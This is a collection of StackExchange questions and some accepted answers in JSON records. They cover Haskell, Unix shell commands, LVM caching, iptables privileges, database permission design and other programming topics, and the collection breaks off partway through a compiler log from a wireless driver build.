{  "id": "_codereview.8421"  , "question": "I have just started reading through Learn you a Haskell I got up to list comprehension and started to play around in GHCi, my aim was to make a times table function that takes a number n and an upper limit upperLimit and return a nested list of all the 'tables' up to n for example> timesTable 2 12[[1,2..12],[2,4..24]]the actual function/list comprehension I came up with is> let timesTable n upperLimit = [[(n-y) * x | x <- [1..upperLimit]] | y <- reverse [0..(n-1)]]Any feedback on the above would be greatly appreciated as this is the first time I have really used a functional language, so if there is a better way or something I have missed please let me know. "  , "title": "Multiplication table using a list comprehension"  , "tags": "beginner;haskell"  , "accepted_answer": "Your function could be simplified a little, and I find it helpful to define functions using declarations, since type signatures are really helpful (although admittedly your example is simple enough that it doesn't matter):timesTable :: Int -> Int -> [[Int]]timesTable n u = [[y * x | x <- [1 .. u]] | y <- [1 .. n]]The key thing I noticed was that you were using n-y: it should be obvious that this part of the expression becomes the following values in each iteration of y: [n-(n-1), n-(n-2), ... n-0], which is just [1 .. n]."  } 
{  "id": "_webmaster.104987"  , "question": "Can anyone tell me how Google decides which image to use when it shows an image with the search results (as is the case with mobile search, sometimes).If you look at these mobile search results......and take the AliExpress.com result as an example, by inspecting the HTML you can see that the image used by Google seems to have no special declaration, etc. It is just the first jpg that appears in that page's HTML - so I was thinking maybe that's why it's the image that is used in the Google search results...However, when you look at these mobile search results......and consider the Backpack Billboards result, the HTML reveals that the image being used is actually the seventh image declared in the HTML.So can anyone shed any light on how Google determine which image to be displayed? I would like to know so I can then have control over which image is displayed for my site."  , "title": "How to change which image from website is shown in Google search result?"  , "tags": "seo"  } 
{  "id": "_unix.314545"  , "question": "I was wondering how I would get this to sort alphabetically but in reverse.For ex. ( z-a )cut -d: -f1 /etc/passwd | sort"  , "title": "How would I sort this to alphabetically reversed?"  , "tags": "sort;cut"  } 
{  "id": "_unix.260378"  , "question": "I have to find how many times the word shell is used in a file. I used grep shell test.txt | wc -w in order to count how many times that word has been used, but the result comes out 4 instead of 3. The file content is:this is a test filefor shell_Ashell_Bshsheland shell_Cscript project"  , "title": "The wc -w command outputs incorrect answer"  , "tags": "grep;wc"  , "accepted_answer": "The wc command is counting the words in the output from grep, which includes for:> grep shell test.txtfor shell_Ashell_Bshell_CSo there really are 4 words.If you only want to count the number of lines that contain a particular word in a file, you can use the -c option of grep, e.g.,grep -c shell test.txtNeither of those actually count words, but could match other things which include that string.  Most implementations of grep (GNU grep, modern BSDs as well as AIX, HPUX, Solaris) provide a -w option for words, however that is not in POSIX.  They also recognize a regular expression, e.g.,grep -e '\\<shell\\>' test.txtwhich corresponds to the -w option.  Again, that is not in POSIX.  Solaris does document this, while AIX and HPUX describe -w without mentioning the regular expression.  These all appear to be consistent, treating a word as a sequence of alphanumerics plus underscore.You could use a POSIX regular expression with grep to match words (separated by blanks, etc), but your example has none which are just shell: they all have some other character touching the matches.  Alternatively, if you care only about alphanumerics (and no underscore) and do not mind matching substrings, you could dotr -c '[[:alnum:]]' '\\n' test.txt |grep -c shellThe -o option suggested is non-POSIX, and since OP did not limit the question to Linux or BSDs, is not what I would recommend.  In either case, it does not match words, but strings (which was OP's expectation).For reference:grepwc"  } 
{  "id": "_cstheory.30709"  , "question": "Consider a denotational semantics from simply-typed $\\lambda$-calculus into dependent type theory. Is that actually a (trivial) term transformation into that dependent type theory? After all, type theory has a syntax.In fact, even set theory has a syntax*! So how do we distinguish a denotational semantics from a compositional term transformation?Now, let's generalize to less trivial program transformations  say, transformation to continuation-passing style (or store-passing style, environment passing style, ...). You can show the same idea through a non-standard semantics (here, a continuation-passing semantics) or a term transformation into a continuation-passing term, and they're distinguished by a binding-time shift. Again, isn't the non-standard semantics also a term transformation?This is a concrete confusion which I've observed at least twice:In my work (on incremental computation) I've used a non-standard denotational semantics into type theory (a change-passing semantics). After a presentation of that, Gabriel Scherer remarked (kindly) that for him, that was a term transformation into a dependently typed language.F-ing modules preempts this confusion  they defend their presentation of the syntax of semantic objects.Semantic signatures. The syntax of semantic signatures is given in Figure 9. (And no, this is not an oxymoron, for in our setting the semantic objects we are using to model modules are merely pieces of F syntax.) [Emphasis added.]*Apparently, some (non-formalists) claim that set theory is not just syntax, but something ontologically different. I'll ignore this subtle philosophical issue; the only reference I know on it is Raymond Turner's Understanding Programming Languages."  , "title": "Distinguishing semantics vs syntactic techniques and the syntax of your semantic domains"  , "tags": "lo.logic;pl.programming languages;big picture"  , "accepted_answer": "In general semantics is a mapping $[\\![ {-} ]\\!]$ of syntax to mathematical objects of some sort. The objects may be syntactic in nature, in which case it is perhaps better to speak of a translation.Some kinds of semantics are clearly not syntax. For example, if you interpret the simply typed $\\lambda$-calculus into set theory, then it is not reasonable to claim that this is just a translation of one kind of syntax into another. For instance, in the set-theoretic semantics any set may act as a type, even a non-definable one, and even some definable types will have uncountable cardinality (consider $\\mathtt{nat} \\to \\mathtt{nat}$)  it would be absurd to claim that these are just syntax.One should not confuse semantics with how we express the semantic function. Of course, anything you express in mathematics is just a bunch of expressions. But it's been a long time since we learned the difference between a word and its meaning. If you are going to defend the position that it's all just formalism all the way down then we have a different issue to discuss, namely: are you a formalist?"  } 
{  "id": "_cs.43149"  , "question": "ProblemI am trying to come up with an algorithm that will dynamically throttle a client's number of outstanding requests based on the response times of completed requests. Response times are unpredictable and can be between 7 and 90 seconds. The response times are greatly affected by the total of outstanding requests, if the server is flooded it bogs down and times increase to very long times.My specific scenarioMy client application has several http requests it needs to send to a server (actually 3 servers that are load balanced and use a round robin distribution, the number of servers and the code running there are out of my control). Each request is a flat object containing 25 parameters. The server uses the parameters to do several look ups which may or may not trigger other look ups and calculations, this is where the server processing time is variable. The server returns a list of corresponding results which can be 0 to approximately 25 in length for most results.What I have triedI created a rolling average class that keeps the response times of the last X number of responses and can give the average at any point. Then when each response is received I compare its response time to the average. If the response time is equal or less than the average I increase the number of allowed outstanding requests. If the current response time is greater than the average I decrease allowed outstanding requests.This approach worked somewhat in scaling up but I had cases where the average just grew over time and allowed more and more outstanding requests which brought everything to a crawl. I have an implementation question on stackoverflow if you want more details on how I am doing this in code minus the rolling average part.https://stackoverflow.com/q/30263716/1168353I have been using a mocked out version of the server that just sleeps a thread before returning a response. I pick a bestWaitSeconds that is the fastest time it can return and a MaxRequestsBeforeDegradation that determines the maximum number of requests before times increase, anything below that returns bestWaitSeconds. The degradation formula looks like the below and only applies when currentRequests is more than MaxRequestsBeforeDegradation.secondsToWait = (currentRequests - MaxRequestsBeforeDegradation) * (r.NextDouble() + .5) * bestWaitSeconds;The random is just a way to apply the unknown return time stated in the problem. Times do go well above 90 seconds when the server is overloaded. This formula isn't exactly what the server does but it conveys the idea I think.So basically the algorithm needs to get as close to MaxRequestsBeforeDegradation as possible. In the real case that MaxRequestsBeforeDegradation would change over long amounts of time so the algorithm also needs to adapt and explore up and down to continually know where the best number of outstanding requests is. Hope this helps.SummaryHow can I dynamically find the optimal number of outstanding requests allowed at a given moment to get the greatest throughput, given only a history of response times?"  , "title": "Algorithm for Dynamic Client Side Throttling"  , "tags": "algorithms;computer networks;communication protocols"  } 
{  "id": "_reverseengineering.1984"  , "question": "I want to develop a web-based API in Rails for some LockState wifi programmable thermostats, so that other different application can control these thermostats. But I'm cannot find any resource about how these thermostats are accessible from the Internet and how to connect to these thermostats. Is there any documentation available? If not, how would I find how to interact with the thermostats?"  , "title": "API for LockState Wireless Internet Thermostat"  , "tags": "interoperability;api;embedded"  } 
{  "id": "_codereview.69359"  , "question": "In our .NET tests we use NSubstitute & ExpectedObjects.Testing object expectations involves hand crafting large anonymous objects and when new properties are added we need to go back to these anonymous objects & update them.Attempting below to get a fluent Object to DTO builder - which fails when a property is missed.Here is the implementation:        //CustomerCreatedEvent has all below properties         var exp1 = @event.ToDto<CustomerCreatedEvent,CustomerDetail>(            x=> x.AggregateId.As(CustomerId),             x => x.Email, // comment this out and test FAILS -> CustomerDetail.Email required            x => x.FirstName,             x => x.Surname);        var exp2 = new {                CustomerId= @event.AggregateId,                @event.Email,      // comment this out and test still passes                @event.FirstName,                @event.Surname};        exp1.ToExpectedObject().ShouldMatch(actual);        exp2.ToExpectedObject().ShouldMatch(actual);I have 2 questions:Is my code just adding 'noise'?Is the implementation code below sound?public static TResult ToDto(this TSource obj, params Expression>[] items) where TSource : class    {        var eo = new ExpandoObject();        var props = eo as IDictionary;    foreach (var item in items)    {        var member = item.Body as MemberExpression;        var unary = item.Body as UnaryExpression;        var body = member ?? (unary != null ? unary.Operand as MemberExpression : null);        if (member != null && body.Member is PropertyInfo)        {            var property = body.Member as PropertyInfo;            props[property.Name] = obj.GetType()                .GetProperty(property.Name)                .GetValue(obj, null);        }        else        {            var property = unary.Operand as MemberExpression;            if (property != null)            {                props[property.Member.Name] = obj.GetType()                    .GetProperty(property.Member.Name)                    .GetValue(obj, null);            }            else            {                var compiled = item.Compile();                var output = (KeyValuePair<string, object>)compiled.Invoke(obj);                props[output.Key] = obj.GetType()                .GetProperty(output.Value.ToString())                .GetValue(obj, null);            }        }    }    TResult result = Activator.CreateInstance<TResult>();    foreach (var item in props)    {        result.GetType().GetProperty(item.Key).SetValue(result, item.Value, null);    }    return result;}}"  , "title": "Object to object mapping verification - is this extension method useful?"  , "tags": "c#;object oriented;extension methods"  } 
{  "id": "_cogsci.10252"  , "question": "I would have liked to know what thoughts people get from various images, so that I could trigger targeted thought patterns with images.  An easy way to do this would be if I could find an online service that lets strangers tag my images with their own keywords. Especially if I could somehow count votes for each keyword/tag.Does there exist any kind of service like this?Or does anyone know of a similar approach I could use?"  , "title": "Is there a way to have strangers tag my images?"  , "tags": "measurement;methodology;experimental psychology;internet"  , "accepted_answer": "Amazon Mechanical Turk is perfect for something like this.  In fact, tagging content is one of their default project types, so you should be able to just load in your images and use their template for tagging.If you haven't seen it before, MTurk is basically a labor marketplace for very small tasks. It works best for paying people a few cents to complete very short tasks, but it is frequently used to recruit subjects for longer behavioral studies as well."  } 
{  "id": "_unix.40647"  , "question": "Let me start off by saying this is a Mac Terminal I'm using. Not Linux, but I assumed I would get the best answers here as it has to do with Unix and the command line not really anything about Mac itself.Anyways here's the problem. In an attempt to be extremely lazy, I tried to write a function in my ~/.bashrc that would let me move into a homework folder, created a folder with today's date, move into said folder, and open vim with the given filename... all in one go. It looked something like...export DATE=$( date +%d-%b )function hw() {  cd ~/Java/Programs/HW  mkcd $DATE  vim $*}mkcd is a function that makes the folder and moves into it at the same time. This is what my function looks like now and it works just fine. However in on of my many attempts to make this work I made a really really stupid error and ended up with some kind of infinite loop with my mkcd part... still not sure how I managed this and I've since deleted that code. Well what happened when I did this is quite obvious... I now have a folder named 27-Jan that has infinitely many folders named 27-Jan inside of it. (Like I said really stupid)Well to make it stop putting me deeper and deeper I hit ^c and viola I stopped... I changed back to my ~/ folder and did a quick sudo rm 27-Jan/. To my amazement (and worry) that didn't work. I tried a for more things to get rid of it but nothing did anything. So being clever like I am... I moved it to .Trash and stopped worrying about it. Since then I have emptied my trash a few times and never really noticed but that bloody folder won't go away! It's taking up zero bytes on my hard disk but it's still there with all it's little sub folders.What I've Tried:sudo rm 27-Jan/sudo rm -r 27-Jan/ This one said override rwxr-xr-x  caldwell/staff for 27-Jan/(many times repeated)/27-Jan? To which I've responded y and yes and even si (in case it spoke spanish)... everytime it says No such file or directory and repeats the previous question.Has anyone ever seen anything like this? And do you know what I might be able to do to make it just go away?"  , "title": "Infinitely Nested Directories"  , "tags": "directory;function;failure"  , "accepted_answer": "Try rm -rf to avoid the prompting.-f, --force           ignore non-existent files, never prompt"  } 
{  "id": "_unix.343344"  , "question": "My system has 2 physical 4 TB hds partially md mirrored, and a very fast 512GB ssd M.2 device that stores the root filesystems and caches key larger filesystems on disks.  One particular fs stores VMWare Workstation virtual machine disk files.  These files can be very large (10-70GB).  The most common VM I boot is a Windows 10 image with a 78GB base image and another 6GB snapshot file.I'm looking for LVM cache tunable parameters that would allow this filesystem and these files in particular to perform better.For comparison, the same M.2 SSD also has a real Win 10 image on it, and booting that image straight will take about 8 seconds from Grub selection to Windows login screen.  By comparison, from VMWare boot selection to login is about 28 seconds; not a lot better than if caching was turned off (though I haven't done that test recently so I don't have a quotable number).The Win 10 VM total directory is 82GB, and here is some specifics of my lvm (focus on the vmCache at the end)lvs -a -o+devicesLV                     VG     Attr       LSize   Pool         Origin Data%  Meta%  Move Log Cpy%Sync Convert Devices                            games                  cache  Cwi-aoC--- 200.00g [gamesDataCache]        11.37  16.05           0.00             games_corig(0)[gamesDataCache]       cache  Cwi---C---  10.00g                         11.37  16.05           0.00             gamesDataCache_cdata(0)[gamesDataCache_cdata] cache  Cwi-ao----  10.00g                                                                 /dev/nvme0n1p6(23015)  [gamesDataCache_cmeta] cache  ewi-ao----  12.00m                                                                 /dev/nvme0n1p6(23012)  [games_corig]          cache  owi-aoC--- 200.00g                                                                 /dev/md126(0)          home                   cache  Cwi-aoC--- 300.00g [homeDataCache]         100.00 16.05           0.01             home_corig(0)          [homeDataCache]        cache  Cwi---C---  10.00g                         100.00 16.05           0.01             homeDataCache_cdata(0) [homeDataCache_cdata]  cache  Cwi-ao----  10.00g                                                                 /dev/nvme0n1p6(3)      [homeDataCache_cmeta]  cache  ewi-ao----  12.00m                                                                 /dev/nvme0n1p6(0)      [home_corig]           cache  owi-aoC--- 300.00g                                                                 /dev/md127(128000)     [lvol0_pmspare]        cache  ewi-------  79.90g                                                                 /dev/md127(204800)     vm                     cache  Cwi-aoC--- 500.00g [vmCache]               100.00 19.01           0.00             vm_corig(0)            [vmCache]              cache  Cwi---C---  79.80g                         100.00 19.01           0.00             vmCache_cdata(0)       [vmCache_cdata]        cache  Cwi-ao----  79.80g                                                                 /dev/nvme0n1p6(2563)[vmCache_cmeta]        cache  ewi-ao----  80.00m                                                                 /dev/nvme0n1p6(22992)[vm_corig]             cache  owi-aoC--- 500.00g                                                                 /dev/md127(0)      root0                  fedora -wi-ao----  39.00g                                                                 /dev/nvme0n1p5(1)The cache size is almost 80GB, and this Win 10 is the only VM I boot, so I'd hope it would be able to cache pretty much the entire image.  The data usage is 100%, but yet performance is far below what I hoped for.I can provide any more detailed LVM configs on request, but assume most values are default right now.Any suggestions?Thanks,Brian"  , "title": "Tuning LVM cache for very large files"  , "tags": "lvm;cache"  } 
{  "id": "_unix.234079"  , "question": "I need to add an iptables rule from the inside of a C Linux program.How should I do? Do I need root privilege or can I just grant some capabilities?I tried granting CAP_NET_RAW+iep and using popen(), system() and execve() to set iptables but it doesn't work.It obviously works when I sudo but I would like not to grant root privilege.Thank you."  , "title": "Can I add iptables rule from the inside of a C Linux program only with capabilities or do I need necessarily root?"  , "tags": "linux;iptables;root;c;capabilities"  } 
{  "id": "_softwareengineering.344343"  , "question": "I want to set up basic permissions for a website. It has a basic roles system where users are part of certain groups and get all the permissions allowed to that group. However, I need more than just a basic Role, Permission, and Role_Permission setup because I want to allow for specific exceptions - certain users may have access to extra permissions (even if not granted to any of their roles) and certain users may be denied specific permissions even if their role has access to them. Basically, I want it to be completely flexible and customizable but still abstracted and reusable.This is the basic design of the tables:PermissionPermissionIDPermissionNameRoleRoleID RoleNameRole_PermissionPermissionIDRoleIDUser_RoleUserIDRoleIDNow I need a way to allow override so a specific user can be allowed/denied a specific permission. Should I create 2 separate tables, one for denied permissions and one for allowed? Or should I create a single User_Permission table? If so, should it have 2 separate flags for allow/deny or a single field? I'm thinking of having something like this:User_Permission(or should it be called PermissionException?  PermissionOverride?)UserIDPermissionIDAllow (bit flag)Deny (bit flag)(I then plan to write a SQL stored procedure hasPermission(UserID, PermissionID) that would be called to determine whether this user has permission to perform an action.)Is this a good design? Is there any way it can be improved upon? What is the general standard used for implementing this common design pattern?"  , "title": "What is the best way to structure my web permissions tables?"  , "tags": "sql server;database design;web applications"  } 
{  "id": "_vi.10581"  , "question": "Sometimes I mis-spell the name of a file. So let's say I have a file called ThisIsAFileName and I start typing ThisS... The moment I misspell the filename (and there are no hits whatsoever), CTRL-P becomes incredibly slow. It displays each next letter at a speed of about 1 character every 5 seconds. So if I accidentally type 6 extra characters I am waiting half a minute for CTRL-P to finish displaying these characters before I can undo this. Is this something that happens regularly? Any idea how to fix this? "  , "title": "CTRL-P very slow when files are not found"  , "tags": "plugin ctrlp"  } 
{  "id": "_cs.77103"  , "question": "I came across a set of articles back from the 2000s that stated Intel was planning a 10Gz CPU by 2011. Obviously, this didn't pan out. But how well are Moore's law and it's cousins holding up in terms of:Transistors per \\$1000Floating point operators per \\$1000The performance of the world's most powerful supercomputers?The computing power available to the average consumerFlops per watt of powerAnd which of these are likely to break down in the next few years?"  , "title": "How well is Moore's law (and it's cousins) holding up?"  , "tags": "parallel computing"  } 
{  "id": "_webapps.12383"  , "question": "Is it possible to see personal Facebook usage statistics from facebook.com or some other web service? By statistics, I mean, for example, the total number of likes, posts, logins, etc. (maybe detailed in periods)."  , "title": "Personal Facebook usage statistics"  , "tags": "facebook;statistics"  , "accepted_answer": "I think that the best option is Wolfram Alpha.Check it out at http://www.wolframalpha.com/input/?i=facebook%20report:)"  } 
{  "id": "_unix.360742"  , "question": "I want to install driver for alink MT7601U Wireless Adapter on centos 7, but i can't do it because it has error.I have updated the yum with yum update, and after that i reboot my system.Now I want to install the this driver but i encounter with this Error message.    # makemake -C toolsmake[1]: Entering directory `/qomDB/LinuxSTA_wifi/tools'gcc -g bin2h.c -o bin2hmake[1]: Leaving directory `/qomDB/LinuxSTA_wifi/tools'/qomDB/LinuxSTA_wifi/tools/bin2hcp -f os/linux/Makefile.6 /qomDB/LinuxSTA_wifi/os/linux/Makefilemake -C /lib/modules/3.10.0-514.16.1.el7.x86_64/build SUBDIRS=/qomDB/LinuxSTA_wifi/os/linux modulesmake[1]: Entering directory `/usr/src/kernels/3.10.0-514.16.1.el7.x86_64'  CC [M]  /qomDB/LinuxSTA_wifi/os/linux/../../os/linux/rt_profile.o/qomDB/LinuxSTA_wifi/os/linux/../../os/linux/rt_profile.c: In function announce_802_3_packet:/qomDB/LinuxSTA_wifi/os/linux/../../os/linux/rt_profile.c:331:16: warning: unused variable pAd [-Wunused-variable]  RTMP_ADAPTER *pAd = (RTMP_ADAPTER *)pAdSrc;                ^/qomDB/LinuxSTA_wifi/os/linux/../../os/linux/rt_profile.c: In function STA_MonPktSend:/qomDB/LinuxSTA_wifi/os/linux/../../os/linux/rt_profile.c:399:9: warning: format %d expects argument of type int, but argument 3 has t                              ype long unsigned int [-Wformat=]         DBGPRINT(RT_DEBUG_ERROR, (%s : Size is too large! (%d)\\n, __FUNCTION__, pRxBlk->DataSize + sizeof(wlan_ng_prism2_header)));         ^  CC [M]  /qomDB/LinuxSTA_wifi/os/linux/../../sta/assoc.o  CC [M]  /qomDB/LinuxSTA_wifi/os/linux/../../sta/auth.o  CC [M]  /qomDB/LinuxSTA_wifi/os/linux/../../sta/auth_rsp.o  CC [M]  /qomDB/LinuxSTA_wifi/os/linux/../../sta/sync.o/qomDB/LinuxSTA_wifi/os/linux/../../sta/sync.c: In function PeerBeacon:/qomDB/LinuxSTA_wifi/os/linux/../../sta/sync.c:2181:12: warning: passing argument 8 of StaAddMacTableEntry from incompatible pointer typ                              e [enabled by default]            ie_list->CapabilityInfo) == FALSE)            ^In file included from /qomDB/LinuxSTA_wifi/include/rt_config.h:59:0,                 from /qomDB/LinuxSTA_wifi/os/linux/../../sta/sync.c:28:/qomDB/LinuxSTA_wifi/include/rtmp.h:7892:9: note: expected struct IE_LISTS * but argument is of type struct BCN_IE_LIST * BOOLEAN StaAddMacTableEntry(         ^  CC [M]  /qomDB/LinuxSTA_wifi/os/linux/../../sta/sanity.o  CC [M]  /qomDB/LinuxSTA_wifi/os/linux/../../sta/rtmp_data.o/qomDB/LinuxSTA_wifi/os/linux/../../sta/rtmp_data.c: In function STAHandleRxDataFrame:/qomDB/LinuxSTA_wifi/os/linux/../../sta/rtmp_data.c:523:4: warning: passing argument 2 of MacTableLookup from incompatible pointer type                               [enabled by default]    pEntry = MacTableLookup(pAd, &pHeader->Addr2);    ^In file included from /qomDB/LinuxSTA_wifi/include/rt_config.h:59:0,                 from /qomDB/LinuxSTA_wifi/os/linux/../../sta/rtmp_data.c:28:/qomDB/LinuxSTA_wifi/include/rtmp.h:8429:18: note: expected UCHAR * but argument is of type UCHAR (*)[6] MAC_TABLE_ENTRY *MacTableLookup(RTMP_ADAPTER *pAd, UCHAR *pAddr);                  ^  CC [M]  /qomDB/LinuxSTA_wifi/os/linux/../../sta/connect.o  CC [M]  /qomDB/LinuxSTA_wifi/os/linux/../../sta/wpa.o  CC [M]  /qomDB/LinuxSTA_wifi/os/linux/../../sta/sta_cfg.o/qomDB/LinuxSTA_wifi/os/linux/../../sta/sta_cfg.c: In function RTMPIoctlRF:/qomDB/LinuxSTA_wifi/os/linux/../../sta/sta_cfg.c:5306:7: warning: format %X expects argument of type unsigned int, but argument 5 has                               type LONG [-Wformat=]       sprintf(msg+strlen(msg), BANK%d_R%02d:%02X  , bank_Id, rfId, rfValue);       ^/qomDB/LinuxSTA_wifi/os/linux/../../sta/sta_cfg.c:5359:3: warning: passing argument 2 of RtmpDrvAllRFPrint from incompatible pointer typ                              e [enabled by default]   RtmpDrvAllRFPrint(NULL, msg, strlen(msg));   ^In file included from /qomDB/LinuxSTA_wifi/include/rt_config.h:64:0,                 from /qomDB/LinuxSTA_wifi/os/linux/../../sta/sta_cfg.c:28:/qomDB/LinuxSTA_wifi/include/rt_os_util.h:668:6: note: expected UINT32 * but argument is of type PSTRING VOID RtmpDrvAllRFPrint(      ^/qomDB/LinuxSTA_wifi/os/linux/../../sta/sta_cfg.c:5209:22: warning: unused variable rf_bank [-Wunused-variable]  UCHAR    regRF = 0, rf_bank = 0;                      ^/qomDB/LinuxSTA_wifi/os/linux/../../sta/sta_cfg.c: In function RtmpIoctl_rt_ioctl_siwgenie:/qomDB/LinuxSTA_wifi/os/linux/../../sta/sta_cfg.c:7610:13: warning: assignment from incompatible pointer type [enabled by default]     eid_ptr = pAd->StaCfg.pWpaAssocIe;             ^  CC [M]  /qomDB/LinuxSTA_wifi/os/linux/../../common/crypt_md5.o  CC [M]  /qomDB/LinuxSTA_wifi/os/linux/../../common/crypt_sha2.o  CC [M]  /qomDB/LinuxSTA_wifi/os/linux/../../common/crypt_hmac.o  CC [M]  /qomDB/LinuxSTA_wifi/os/linux/../../common/crypt_aes.o/qomDB/LinuxSTA_wifi/os/linux/../../common/crypt_aes.c: In function AES_Key_Wrap:/qomDB/LinuxSTA_wifi/os/linux/../../common/crypt_aes.c:1459:6: warning: format %d expects argument of type int, but argument 2 has type long unsigned int [-Wformat=]      DBGPRINT(RT_DEBUG_ERROR, (AES_Key_Wrap: allocate %d bytes memory failure.\\n, sizeof(UINT8)*PlainTextLength));      ^/qomDB/LinuxSTA_wifi/os/linux/../../common/crypt_aes.c: In function AES_Key_Unwrap:/qomDB/LinuxSTA_wifi/os/linux/../../common/crypt_aes.c:1554:6: warning: format %d expects argument of type int, but argument 2 has type long unsigned int [-Wformat=]      DBGPRINT(RT_DEBUG_ERROR, (AES_Key_Unwrap: allocate %d bytes memory failure.\\n, sizeof(UINT8)*PlainLength));      ^  CC [M]  /qomDB/LinuxSTA_wifi/os/linux/../../common/crypt_arc4.o  CC [M]  /qomDB/LinuxSTA_wifi/os/linux/../../common/mlme.oIn file included from /qomDB/LinuxSTA_wifi/include/rtmp_os.h:44:0,                 from /qomDB/LinuxSTA_wifi/include/rtmp_comm.h:75,                 from /qomDB/LinuxSTA_wifi/include/rt_config.h:33,                 from /qomDB/LinuxSTA_wifi/os/linux/../../common/mlme.c:28:/qomDB/LinuxSTA_wifi/os/linux/../../common/mlme.c: In function MlmeResetRalinkCounters:/qomDB/LinuxSTA_wifi/os/linux/../../common/mlme.c:544:7: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]       (UINT32)&pAd->RalinkCounters.OneSecEnd -       ^/qomDB/LinuxSTA_wifi/include/os/rt_linux.h:473:76: note: in definition of macro NdisZeroMemory #define NdisZeroMemory(Destination, Length)         memset(Destination, 0, Length)                                                                            ^/qomDB/LinuxSTA_wifi/os/linux/../../common/mlme.c:545:7: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]       (UINT32)&pAd->RalinkCounters.OneSecStart);       ^/qomDB/LinuxSTA_wifi/include/os/rt_linux.h:473:76: note: in definition of macro NdisZeroMemory #define NdisZeroMemory(Destination, Length)         memset(Destination, 0, Length)                                                                            ^/qomDB/LinuxSTA_wifi/os/linux/../../common/mlme.c: In function AsicRxAntEvalTimeout:/qomDB/LinuxSTA_wifi/os/linux/../../common/mlme.c:5201:45: warning: unused variable rssi_diff [-Wunused-variable]  CHAR   larger = -127, rssi0, rssi1, rssi2, rssi_diff;                                             ^  CC [M]  /qomDB/LinuxSTA_wifi/os/linux/../../common/cmm_wep.o  CC [M]  /qomDB/LinuxSTA_wifi/os/linux/../../common/action.o  CC [M]  /qomDB/LinuxSTA_wifi/os/linux/../../common/cmm_data.o/qomDB/LinuxSTA_wifi/os/linux/../../common/cmm_data.c: In function CmdRspEventCallbackHandle:/qomDB/LinuxSTA_wifi/os/linux/../../common/cmm_data.c:2509:8: warning: unused variable Ret [-Wunused-variable]  INT32 Ret;        ^/qomDB/LinuxSTA_wifi/os/linux/../../common/cmm_data.c: In function StopDmaTx:/qomDB/LinuxSTA_wifi/os/linux/../../common/cmm_data.c:2684:8: warning: unused variable IdleNums [-Wunused-variable]  UINT8 IdleNums = 0;        ^/qomDB/LinuxSTA_wifi/os/linux/../../common/cmm_data.c:2682:20: warning: unused variable UsbCfg [-Wunused-variable]  USB_DMA_CFG_STRUC UsbCfg;                    ^  CC [M]  /qomDB/LinuxSTA_wifi/os/linux/../../common/rtmp_init.o/qomDB/LinuxSTA_wifi/os/linux/../../common/rtmp_init.c: In function NICInitAsicFromEEPROM:/qomDB/LinuxSTA_wifi/os/linux/../../common/rtmp_init.c:981:9: warning: unused variable i [-Wunused-variable]  USHORT i;         ^/qomDB/LinuxSTA_wifi/os/linux/../../common/rtmp_init.c: In function NICInitializeAdapter:/qomDB/LinuxSTA_wifi/os/linux/../../common/rtmp_init.c:1292:22: warning: unused variable GloCfg [-Wunused-variable]  WPDMA_GLO_CFG_STRUC GloCfg;                      ^/qomDB/LinuxSTA_wifi/os/linux/../../common/rtmp_init.c: In function NICInitializeAsic:/qomDB/LinuxSTA_wifi/os/linux/../../common/rtmp_init.c:1367:11: warning: unused variable KeyIdx [-Wunused-variable]  USHORT   KeyIdx;           ^  CC [M]  /qomDB/LinuxSTA_wifi/os/linux/../../common/rtmp_init_inf.o  CC [M]  /qomDB/LinuxSTA_wifi/os/linux/../../common/cmm_tkip.o  CC [M]  /qomDB/LinuxSTA_wifi/os/linux/../../common/cmm_aes.o  CC [M]  /qomDB/LinuxSTA_wifi/os/linux/../../common/cmm_sync.o  CC [M]  /qomDB/LinuxSTA_wifi/os/linux/../../common/eeprom.o/qomDB/LinuxSTA_wifi/os/linux/../../common/eeprom.c: In function RtmpChipOpsEepromHook:/qomDB/LinuxSTA_wifi/os/linux/../../common/eeprom.c:34:9: warning: unused variable e2p_csr [-Wunused-variable]  UINT32 e2p_csr;         ^  CC [M]  /qomDB/LinuxSTA_wifi/os/linux/../../common/cmm_sanity.o  CC [M]  /qomDB/LinuxSTA_wifi/os/linux/../../common/cmm_info.o/qomDB/LinuxSTA_wifi/os/linux/../../common/cmm_info.c: In function Set_DebugFunc_Proc:/qomDB/LinuxSTA_wifi/os/linux/../../common/cmm_info.c:1084:2: warning: format %x expects argument of type unsigned int, but argument 2 has type const char * [-Wformat=]  DBGPRINT_S(RT_DEBUG_TRACE, (Set RTDebugFunc = 0x%x\\n,__FUNCTION__, RTDebugFunc));  ^/qomDB/LinuxSTA_wifi/os/linux/../../common/cmm_info.c:1084:2: warning: too many arguments for format [-Wformat-extra-args]/qomDB/LinuxSTA_wifi/os/linux/../../common/cmm_info.c: In function set_rf:/qomDB/LinuxSTA_wifi/os/linux/../../common/cmm_info.c:5730:3: warning: format %x expects argument of type unsigned int *, but argument 5 has type UCHAR * [-Wformat=]   rv = sscanf(arg, %d-%d-%x, &(bank_id), &(rf_id), &(rf_val));   ^  CC [M]  /qomDB/LinuxSTA_wifi/os/linux/../../common/cmm_cfg.o/qomDB/LinuxSTA_wifi/os/linux/../../common/cmm_cfg.c: In function wmode_valid_and_correct:/qomDB/LinuxSTA_wifi/os/linux/../../common/cmm_cfg.c:279:8: warning: unused variable mode [-Wunused-variable]  UCHAR mode = *wmode;        ^/qomDB/LinuxSTA_wifi/os/linux/../../common/cmm_cfg.c: At top level:/qomDB/LinuxSTA_wifi/os/linux/../../common/cmm_cfg.c:264:16: warning: wmode_valid defined but not used [-Wunused-function] static BOOLEAN wmode_valid(RTMP_ADAPTER *pAd, enum WIFI_MODE wmode)                ^  CC [M]  /qomDB/LinuxSTA_wifi/os/linux/../../common/cmm_wpa.o  CC [M]  /qomDB/LinuxSTA_wifi/os/linux/../../common/cmm_radar.o  CC [M]  /qomDB/LinuxSTA_wifi/os/linux/../../common/spectrum.o/qomDB/LinuxSTA_wifi/os/linux/../../common/spectrum.c: In function PeerMeasureReportAction:/qomDB/LinuxSTA_wifi/os/linux/../../common/spectrum.c:1972:3: warning: format %d expects argument of type int, but argument 3 has type long unsigned int [-Wformat=]   DBGPRINT(RT_DEBUG_ERROR, (%s unable to alloc memory for measure report buffer (size=%d).\\n, __FUNCTION__, sizeof(MEASURE_RPI_REPORT)));   ^  CC [M]  /qomDB/LinuxSTA_wifi/os/linux/../../common/rtmp_timer.o  CC [M]  /qomDB/LinuxSTA_wifi/os/linux/../../common/rt_channel.o  CC [M]  